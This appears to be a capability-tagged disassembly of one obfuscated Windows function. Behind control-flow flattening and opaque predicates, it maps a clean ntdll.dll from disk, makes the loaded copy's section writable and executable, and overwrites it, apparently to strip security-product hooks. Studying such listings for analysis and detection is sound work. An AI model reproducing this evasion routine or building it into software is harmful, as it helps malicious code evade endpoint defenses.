Function at 0x40e370
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x7c
mov eax, dword [0x451080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x7c], 0x1bab8068
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x80], eax
sub eax, 0x84e1a22e
je 0x40eaeb
jmp 0x40e39f
mov eax, dword [ebp - 0x80]
sub eax, 0x8807fe56
je 0x40e9df
jmp 0x40e3b2
mov eax, dword [ebp - 0x80]
sub eax, 0x97a10a8b
je 0x40eb78
jmp 0x40e3c5
mov eax, dword [ebp - 0x80]
sub eax, 0x9a5150a0
je 0x40ec8f
jmp 0x40e3d8
mov eax, dword [ebp - 0x80]
sub eax, 0xba791b30
je 0x40ecdb
jmp 0x40e3eb
mov eax, dword [ebp - 0x80]
sub eax, 0xc0d33a1b
je 0x40eb84
jmp 0x40e3fe
mov eax, dword [ebp - 0x80]
sub eax, 0xc3cd5ddb
je 0x40edb0
jmp 0x40e411
mov eax, dword [ebp - 0x80]
sub eax, 0xc4ac4434
je 0x40ede6
jmp 0x40e424
mov eax, dword [ebp - 0x80]
sub eax, 0xd0d962da
je 0x40e66f
jmp 0x40e437
mov eax, dword [ebp - 0x80]
sub eax, 0xd1411bad
je 0x40e9c4
jmp 0x40e44a
mov eax, dword [ebp - 0x80]
sub eax, 0xe95b5a40
je 0x40ecc5
jmp 0x40e45d
mov eax, dword [ebp - 0x80]
sub eax, 0xf8779061
je 0x40ef47
jmp 0x40e470
mov eax, dword [ebp - 0x80]
sub eax, 0xf9b4be26
je 0x40e930
jmp 0x40e483
mov eax, dword [ebp - 0x80]
sub eax, 0xfcec20cc
je 0x40e865
jmp 0x40e496
mov eax, dword [ebp - 0x80]
sub eax, 0xff939f09
je 0x40e84f
jmp 0x40e4a9
mov eax, dword [ebp - 0x80]
sub eax, 0x93a45cf
je 0x40ec83
jmp 0x40e4bc
mov eax, dword [ebp - 0x80]
sub eax, 0xe1f2388
je 0x40ed46
jmp 0x40e4cf
mov eax, dword [ebp - 0x80]
sub eax, 0x132e91c8
je 0x40ef59
jmp 0x40e4e2
mov eax, dword [ebp - 0x80]
sub eax, 0x1630ac07
je 0x40ec77
jmp 0x40e4f5
mov eax, dword [ebp - 0x80]
sub eax, 0x1bab8068
je 0x40e604
jmp 0x40e508
mov eax, dword [ebp - 0x80]
sub eax, 0x1d29759f
je 0x40e8a7
jmp 0x40e51b
mov eax, dword [ebp - 0x80]
sub eax, 0x3633f14e
je 0x40ef3b
jmp 0x40e52e
mov eax, dword [ebp - 0x80]
sub eax, 0x3a7777b7
je 0x40e8df
jmp 0x40e541
mov eax, dword [ebp - 0x80]
sub eax, 0x417d4405
je 0x40e886
jmp 0x40e554
mov eax, dword [ebp - 0x80]
sub eax, 0x450f5cb2
je 0x40ef97
jmp 0x40e567
mov eax, dword [ebp - 0x80]
sub eax, 0x4b27acfb
je 0x40ebd2
jmp 0x40e57a
mov eax, dword [ebp - 0x80]
sub eax, 0x556a492f
je 0x40eca5
jmp 0x40e58d
mov eax, dword [ebp - 0x80]
sub eax, 0x5d11ee1f
je 0x40e97e
jmp 0x40e5a0
mov eax, dword [ebp - 0x80]
sub eax, 0x62ae9426
je 0x40eaa5
jmp 0x40e5b3
mov eax, dword [ebp - 0x80]
sub eax, 0x6e28c5ce
je 0x40edbc
jmp 0x40e5c6
mov eax, dword [ebp - 0x80]
sub eax, 0x6f1f1d27
je 0x40e81d
jmp 0x40e5d9
mov eax, dword [ebp - 0x80]
sub eax, 0x7b87f6d1
je 0x40e811
jmp 0x40e5ec
mov eax, dword [ebp - 0x80]
sub eax, 0x7d1b6e44
je 0x40edf7
jmp 0x40e5ff
jmp 0x40efbc
mov ecx, dword [0x452584]
mov eax, dword [0x452580]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7d1b6e44
mov ecx, 0xd0d962da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40efbc
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x18]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.0041f8c0
add esp, 0xc
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x68], eax
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
lea eax, [ebp - 0x18]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], eax
lea eax, str.c:windows_system32_ntdll.dll
xor ecx, ecx
sub esp, 0x1c
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x70]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
xor ecx, ecx
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x60]
mov dword [eax], ecx
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x48], eax
mov eax, dword [0x452584]
mov ecx, dword [0x452580]
mov edx, eax
add edx, 0x8d8659a9
sub edx, 1
sub edx, 0x8d8659a9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7d1b6e44
mov ecx, 0x7b87f6d1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40efbc
mov dword [ebp - 0x7c], 0x6f1f1d27
jmp 0x40efbc
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov edx, dword [eax + 0x3c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x5c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x58]
mov word [eax], 0
mov dword [ebp - 0x7c], 0xff939f09
jmp 0x40efbc
mov eax, dword [ebp - 0x58]
mov ax, word [eax]
mov word [ebp - 0x42], ax
mov dword [ebp - 0x7c], 0xfcec20cc
jmp 0x40efbc
mov ax, word [ebp - 0x42]
movzx eax, ax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x7c], 0x417d4405
jmp 0x40efbc
mov eax, dword [ebp - 0x3c]
movzx esi, word [eax + 2]
mov edx, dword [ebp - 0x40]
mov eax, 0xba791b30
mov ecx, 0x1d29759f
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40efbc
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x18
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
add eax, 0x3c0a37ae
add eax, ecx
sub eax, 0x3c0a37ae
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x7c], 0x3a7777b7
jmp 0x40efbc
mov eax, dword [ebp - 0x58]
movzx eax, word [eax]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0x38]
sub ecx, 0xa0a458b2
add ecx, eax
add ecx, 0xa0a458b2
mov eax, dword [ebp - 0x54]
mov dword [eax], ecx
mov eax, dword [ebp - 0x54]
mov ecx, dword [eax]
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x42ed45
call fcn.004231c0
add esp, 8
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x31], al
mov dword [ebp - 0x7c], 0xf9b4be26
jmp 0x40efbc
mov eax, dword [0x452584]
mov ecx, dword [0x452580]
mov edx, eax
add edx, 0x510cff21
sub edx, 1
sub edx, 0x510cff21
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3633f14e
mov ecx, 0x5d11ee1f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40efbc
mov eax, dword [0x452584]
mov ecx, dword [0x452580]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3633f14e
mov ecx, 0xd1411bad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40efbc
mov dl, byte [ebp - 0x31]
mov eax, 0x8807fe56
mov ecx, 0x93a45cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40efbc
mov eax, dword [ebp - 0x50]
mov dword [eax], 0
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov ecx, dword [eax + 8]
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
sub edx, 0x6877f841
add edx, eax
add edx, 0x6877f841
mov eax, dword [ebp - 0x50]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x4c]
mov byte [eax], cl
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov edx, dword [eax + 0xc]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor edx, edx
sub edx, eax
mov ecx, dword [ebp - 0x78]
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
add ecx, 0x2669a8c1
add ecx, eax
sub ecx, 0x2669a8c1
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov eax, dword [eax + 8]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041fa20
add esp, 0xc
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
add eax, 8
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x7c], 0x62ae9426
jmp 0x40efbc
mov eax, dword [0x452584]
mov ecx, dword [0x452580]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf8779061
mov ecx, 0x84e1a22e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40efbc
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0xc]
add eax, 0x6651f0a0
add eax, ecx
sub eax, 0x6651f0a0
mov dword [ebp - 0x24], eax
mov ecx, dword [0x452584]
mov eax, dword [0x452580]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf8779061
mov ecx, 0x97a10a8b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40efbc
mov dword [ebp - 0x7c], 0xc0d33a1b
jmp 0x40efbc
mov eax, dword [0x452584]
mov ecx, dword [0x452580]
mov edx, eax
add edx, 0x2aabd999
sub edx, 1
sub edx, 0x2aabd999
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x132e91c8
mov ecx, 0x4b27acfb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40efbc
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x24]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x4c]
mov byte [eax], cl
mov ecx, dword [0x452584]
mov eax, dword [0x452580]
mov edx, ecx
add edx, 0xf5ff2058
sub edx, 1
sub edx, 0xf5ff2058
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x132e91c8
mov ecx, 0x1630ac07
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40efbc
mov dword [ebp - 0x7c], 0x93a45cf
jmp 0x40efbc
mov dword [ebp - 0x7c], 0x9a5150a0
jmp 0x40efbc
mov eax, dword [ebp - 0x58]
mov ax, word [eax]
mov word [ebp - 0x20], ax
mov dword [ebp - 0x7c], 0x556a492f
jmp 0x40efbc
mov ax, word [ebp - 0x20]
add ax, 0x7973
add ax, 1
sub ax, 0x7973
mov word [ebp - 0x1e], ax
mov dword [ebp - 0x7c], 0xe95b5a40
jmp 0x40efbc
mov eax, dword [ebp - 0x58]
mov cx, word [ebp - 0x1e]
mov word [eax], cx
mov dword [ebp - 0x7c], 0xff939f09
jmp 0x40efbc
mov ecx, dword [0x452584]
mov eax, dword [0x452580]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x450f5cb2
mov ecx, 0xe1f2388
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40efbc
mov eax, dword [ebp - 0x64]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x70]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x452584]
mov ecx, dword [0x452580]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x450f5cb2
mov ecx, 0xc3cd5ddb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x40efbc
mov dword [ebp - 0x7c], 0x6e28c5ce
jmp 0x40efbc
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x68]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0x7c], 0xc4ac4434
jmp 0x40efbc
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0041ebb0
lea esp, [ebp - 8]
pop esi
pop ebx
pop ebp
ret
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x18]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.0041f8c0
add esp, 0xc
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x68], eax
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
lea eax, [ebp - 0x18]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], eax
lea eax, str.c:windows_system32_ntdll.dll
xor ecx, ecx
sub esp, 0x1c
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x70]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
xor ecx, ecx
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x78], ecx
mov ecx, dword [ebp - 0x6c]
mov dword [eax], ecx
mov dword [ebp - 0x7c], 0xd0d962da
jmp 0x40efbc
mov dword [ebp - 0x7c], 0x5d11ee1f
jmp 0x40efbc
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x7c], 0x84e1a22e
jmp 0x40efbc
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x24]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x4c]
mov byte [eax], cl
mov dword [ebp - 0x7c], 0x4b27acfb
jmp 0x40efbc
mov eax, dword [ebp - 0x64]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x70]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x7c], 0xe1f2388
jmp 0x40e389